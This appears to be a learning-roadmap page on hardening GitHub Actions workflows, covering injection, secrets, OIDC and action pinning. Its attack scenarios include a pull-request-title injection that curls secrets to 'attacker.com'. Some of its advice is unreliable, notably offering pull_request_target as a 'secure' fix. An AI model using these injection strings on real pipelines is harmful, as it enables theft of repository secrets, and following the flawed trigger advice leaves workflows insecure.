🔧 GitHub Actions Security
Secure GitHub workflows and automation - From action hardening to supply chain protection
Advanced LevelOverview
GitHub Actions Security focuses on securing CI/CD workflows, preventing workflow injection attacks, managing secrets securely, and protecting the software supply chain within GitHub's automation platform. This specialized roadmap covers GitHub Actions-specific security challenges and best practices for secure automation.
Learning Objectives
- Understand GitHub Actions architecture and security model
- Master workflow security and permission hardening
- Implement secure secrets management with OIDC
- Prevent workflow injection and code injection attacks
- Secure third-party actions and dependencies
- Apply supply chain security best practices
- Monitor and audit GitHub Actions usage
🏗️ GitHub Actions Architecture Security
Workflow Structure & Components
Understanding the fundamental building blocks of GitHub Actions
- Workflows, jobs, and steps architecture
- Runner types (GitHub-hosted vs self-hosted)
- Action types (JavaScript, Docker, Composite)
- Workflow triggers and events
- Contexts and expressions
Permission Model
Understanding and configuring workflow permissions
- GITHUB_TOKEN permissions
- Repository permissions
- Organization-level permissions
- Workflow permissions scope
- Least privilege principle application
Runner Security
Securing GitHub Actions runners and execution environments
- Self-hosted runner hardening
- Runner isolation and sandboxing
- Runner group configuration
- Ephemeral runners for security
- Runner monitoring and logging
⚠️ Common GitHub Actions Vulnerabilities
Workflow Injection Attacks
Preventing script injection in workflows
- Understanding `${{ }}` expression injection
- Pull request title/body injection
- Issue comment injection vulnerabilities
- Environment variable injection
- Safe expression usage patterns
❌ Vulnerable Example:
# Vulnerable to injection run: echo "${{ github.event.issue.title }}" # Attacker can inject: "; malicious_command; #"
✅ Secure Example:
# Safe usage with environment variable env: ISSUE_TITLE: ${{ github.event.issue.title }} run: echo "$ISSUE_TITLE"
Secrets Exposure
Preventing accidental secrets disclosure
- GitHub secrets masking limitations
- Secrets in pull request workflows
- Debug output security risks
- Artifact and log secrets leakage
- Environment-based secrets isolation
❌ Vulnerable Example:
# Secrets exposed in pull_request trigger on: pull_request steps: - run: echo "${{ secrets.API_KEY }}"
✅ Secure Example:
# Use pull_request_target with caution on: pull_request_target # Or restrict to specific branches on: pull_request: branches: [main]
Malicious Third-Party Actions
Mitigating risks from untrusted actions
- Action source verification
- Pinning actions to commit SHA
- Action permission analysis
- Supply chain attack prevention
- Action approval workflows
❌ Risky Example:
# Using floating tag - uses: third-party/action@v1
✅ Secure Example:
# Pinned to specific commit SHA - uses: third-party/action@abc123def456 # v1.2.3 - verified on 2025-09-30
🔐 Secrets Management & OIDC
GitHub Secrets Best Practices
Secure handling of secrets in GitHub Actions
- Repository vs Organization vs Environment secrets
- Secret scope and access control
- Secrets rotation strategies
- Avoiding secrets in logs
- Secrets review and audit
OpenID Connect (OIDC) Integration
Eliminating long-lived credentials with OIDC
- OIDC token authentication
- AWS OIDC integration
- Azure OIDC configuration
- GCP Workload Identity Federation
- Custom OIDC provider setup
AWS OIDC Example:
# Configure OIDC for AWS - uses: aws-actions/configure-aws-credentials@v4 with: role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsRole aws-region: us-east-1 role-session-name: GitHubActions
External Secrets Integration
Integrating with external secrets management solutions
- HashiCorp Vault integration
- AWS Secrets Manager access
- Azure Key Vault integration
- 1Password Secrets Automation
- Dynamic secret generation
🛡️ Workflow Security Hardening
Permission Minimization
Applying least privilege to workflow permissions
- Explicit permission declarations
- Read-only token defaults
- Job-level permission scoping
- Workflow-level permission control
- Regular permission audits
Secure Permissions Example:
name: Secure Workflow permissions: contents: read # Read repository contents pull-requests: write # Comment on PRs issues: none # No issue access jobs: build: runs-on: ubuntu-latest permissions: contents: read # Override for specific job steps: - uses: actions/checkout@v4
Workflow Trigger Security
Securing workflow triggers and event handling
- Safe pull_request trigger usage
- pull_request_target security considerations
- Workflow_run trigger isolation
- Branch protection integration
- Required status checks
Secure Trigger Configuration:
on: pull_request: branches: [main, develop] types: [opened, synchronize] # Avoid pull_request_target unless necessary # If used, implement strict validation pull_request_target: types: [labeled] # Only run if specific label added
Environment Protection
Implementing deployment protection rules
- Environment-based secrets isolation
- Required reviewers for deployments
- Wait timers and approval gates
- Branch deployment restrictions
- Environment-specific permissions
🔒 Action Security & Supply Chain
Action Verification & Pinning
Ensuring action integrity and preventing tampering
- Pinning actions to commit SHA
- Verified creator actions
- Action source code review
- Dependency analysis
- Automated dependency updates (Dependabot)
Custom Action Development
Building secure custom GitHub Actions
- Secure coding practices for actions
- Input validation and sanitization
- Minimal dependencies
- Security testing for custom actions
- Action versioning and release management
Supply Chain Security
Protecting the GitHub Actions supply chain
- Dependency provenance verification
- SBOM generation for workflows
- Artifact attestation and signing
- Sigstore integration
- SLSA compliance levels
🚨 Attack Scenarios & Mitigations
⚠️ Scenario 1: Workflow Injection via Pull Request
Attack Vector:
Attacker submits a pull request with malicious code in the title or description that gets executed in the workflow.
# Vulnerable workflow on: pull_request jobs: comment: runs-on: ubuntu-latest steps: - run: echo "PR Title: ${{ github.event.pull_request.title }}" # Attacker PR title: "; curl attacker.com?data=$(cat secrets); #"
✅ Mitigation:
- Use environment variables for user input
- Avoid direct interpolation of untrusted data
- Validate and sanitize all inputs
- Use actions instead of inline scripts
# Secure workflow on: pull_request jobs: comment: runs-on: ubuntu-latest steps: - name: Safe PR title handling env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo "PR Title: $PR_TITLE"
⚠️ Scenario 2: Secrets Exposure in Pull Request
Attack Vector:
Secrets are exposed when workflows with `pull_request` trigger can access repository secrets.
# Vulnerable workflow on: pull_request jobs: build: runs-on: ubuntu-latest steps: - run: echo "API Key: ${{ secrets.API_KEY }}" # Attacker's PR can see secrets in logs
✅ Mitigation:
- Use `pull_request_target` with extreme caution
- Implement strict branch restrictions
- Use environment protection rules
- Require approval for external contributors
# Secure workflow on: pull_request: branches: [main] push: branches: [main] jobs: build: runs-on: ubuntu-latest # Secrets only available on push, not PR if: github.event_name == 'push' steps: - run: echo "Deploying with secrets" env: API_KEY: ${{ secrets.API_KEY }}
⚠️ Scenario 3: Malicious Third-Party Action
Attack Vector:
A third-party action is updated maliciously, and workflows using floating tags automatically use the compromised version.
# Vulnerable workflow steps: - uses: third-party/action@v1 # If v1 tag is moved to malicious code, workflow is compromised
✅ Mitigation:
- Pin actions to full commit SHA
- Use Dependabot for action updates
- Review action code before updating
- Use verified creators when possible
# Secure workflow steps: - uses: third-party/action@1234567890abcdef1234567890abcdef12345678 # v1.2.3 - Verified on 2025-09-30 # Review changes before updating SHA
🔐 Advanced Security Features
OIDC Authentication
Implementing keyless authentication with cloud providers
- AWS IAM OIDC provider configuration
- Azure Federated Identity setup
- GCP Workload Identity Federation
- Custom OIDC claims and validation
- Token audience and subject configuration
Azure OIDC Example:
- uses: azure/login@v1 with: client-id: ${{ secrets.AZURE_CLIENT_ID }} tenant-id: ${{ secrets.AZURE_TENANT_ID }} subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # No client secret needed with OIDC!
Artifact Attestation
Generating provenance for build artifacts
- SLSA provenance generation
- Sigstore signing integration
- In-toto attestation
- Artifact verification workflows
- Supply chain transparency
Attestation Example:
- uses: actions/attest-build-provenance@v1 with: subject-path: 'dist/*.tar.gz'
Code Scanning Integration
Automated security scanning in workflows
- CodeQL analysis configuration
- Dependency scanning (Dependabot)
- Secret scanning enablement
- Custom scanning workflows
- Security advisory integration
🎯 GitHub Actions Security Implementation Roadmap
Phase 1: Security Foundation (Week 1)
Audit Current State
- Inventory all workflows and actions
- Review workflow permissions
- Identify third-party action usage
- Document secrets and credentials
Initial Hardening
- Enable organization security features
- Configure branch protection rules
- Set up required status checks
- Enable secret scanning
Phase 2: Workflow Hardening (Week 2)
Permission Minimization
- Add explicit permissions to all workflows
- Remove unnecessary token access
- Implement job-level permissions
- Configure read-only defaults
Injection Prevention
- Audit workflows for injection vulnerabilities
- Replace direct interpolation with env vars
- Validate all user inputs
- Use actions instead of inline scripts
Phase 3: Secrets Management (Week 3)
OIDC Implementation
- Configure cloud provider OIDC
- Migrate to keyless authentication
- Remove long-lived credentials
- Test OIDC authentication flows
Secrets Cleanup
- Audit and rotate all existing secrets
- Remove unused secrets
- Implement secrets scanning
- Set up secrets rotation policies
Phase 4: Action Security (Week 4)
Action Pinning
- Pin all third-party actions to SHA
- Document action versions
- Set up Dependabot for actions
- Review action updates before merging
Action Approval
- Enable action approval workflow
- Create allowed actions list
- Review new action requests
- Maintain action inventory
Phase 5: Testing & Scanning (Week 5)
Security Testing Integration
- Integrate CodeQL for code analysis
- Add dependency scanning
- Implement container scanning
- Configure IaC security scanning
Quality Gates
- Define security quality thresholds
- Configure workflow breaks on findings
- Set up security dashboards
- Implement automated remediation
Phase 6: Monitoring & Compliance (Week 6)
Monitoring Setup
- Enable comprehensive audit logging
- Set up SIEM integration
- Configure real-time alerting
- Implement anomaly detection
Compliance & Governance
- Document security policies
- Implement compliance scanning
- Set up automated compliance reporting
- Conduct regular security reviews
🛠️ Essential Tools & Resources
GitHub Security Features
- GitHub Code Scanning - CodeQL integration
- GitHub Secret Scanning - Automated secret detection
- GitHub Dependabot - Dependency updates
- GitHub Actions Security Guides - Official documentation
Security Scanning
- TruffleHog - Secret scanning
- Gitleaks - Secret detection
- Trivy - Vulnerability scanner
- Semgrep - Static analysis
- Snyk - Developer security
Supply Chain Security
Monitoring & Audit
- DeepCE - Container enumeration
- Falco - Runtime security
- Elastic Stack - Log management
- Grafana - Monitoring and visualization
📋 Security Checklist
GitHub Actions Security Checklist
🔐 Workflow Security
- [ ] All workflows have explicit permissions defined
- [ ] GITHUB_TOKEN uses minimum required permissions
- [ ] No secrets in pull_request trigger workflows
- [ ] User input never directly interpolated in run commands
- [ ] Environment variables used for untrusted data
- [ ] Branch protection rules configured
- [ ] Required status checks enabled
🔑 Secrets Management
- [ ] All secrets stored in GitHub Secrets or external vault
- [ ] OIDC configured for cloud provider authentication
- [ ] No hardcoded credentials in workflows
- [ ] Secrets scoped to minimum required access
- [ ] Regular secrets rotation implemented
- [ ] Secret scanning enabled
- [ ] Secrets never logged or printed
🔧 Action Security
- [ ] All third-party actions pinned to commit SHA
- [ ] Verified creators used when available
- [ ] Action source code reviewed before use
- [ ] Dependabot configured for action updates
- [ ] Custom actions follow secure coding practices
- [ ] Action approval workflow enabled (if applicable)
🛡️ Runner Security
- [ ] Self-hosted runners properly isolated
- [ ] Runner groups configured with access controls
- [ ] Ephemeral runners used for sensitive workflows
- [ ] Runner security updates automated
- [ ] Runner monitoring and logging enabled
📊 Monitoring & Audit
- [ ] Audit log streaming configured
- [ ] Security alerts enabled
- [ ] Workflow run retention configured
- [ ] Anomaly detection implemented
- [ ] Incident response procedures documented
🏆 Certification Alignment
Certified DevSecOps Professional
Comprehensive DevSecOps certification including CI/CD security
Learn More →